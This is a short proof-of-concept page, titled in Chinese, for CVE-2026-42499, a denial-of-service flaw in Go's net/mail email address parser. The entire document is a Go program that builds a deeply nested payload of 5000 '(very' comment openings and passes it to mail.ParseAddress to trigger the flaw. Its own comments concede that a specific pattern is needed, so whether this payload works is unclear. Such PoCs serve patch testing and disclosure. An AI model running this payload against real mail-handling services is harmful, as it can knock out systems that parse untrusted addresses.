CVE-2026-42499 Go邮件解析拒绝服务漏洞

package main import ( "fmt" "net/mail" "strings" ) func main() { // PoC for CVE-2026-42499 // Demonstrates parsing a potentially pathological email address. // A specific pattern (e.g., excessive nesting or repetition) is required to trigger the DoS. // Example payload: deeply nested comments or long repetitive phrases maliciousPayload := strings.Repeat("(very", 5000) + "test" + strings.Repeat(")", 5000) + "@example.com" fmt.Println("Attempting to parse malicious email address...") _, err := mail.ParseAddress(maliciousPayload) if err != nil { fmt.Printf("Parse error: %v\n", err) } else { fmt.Println("Parse successful (unexpected)") } }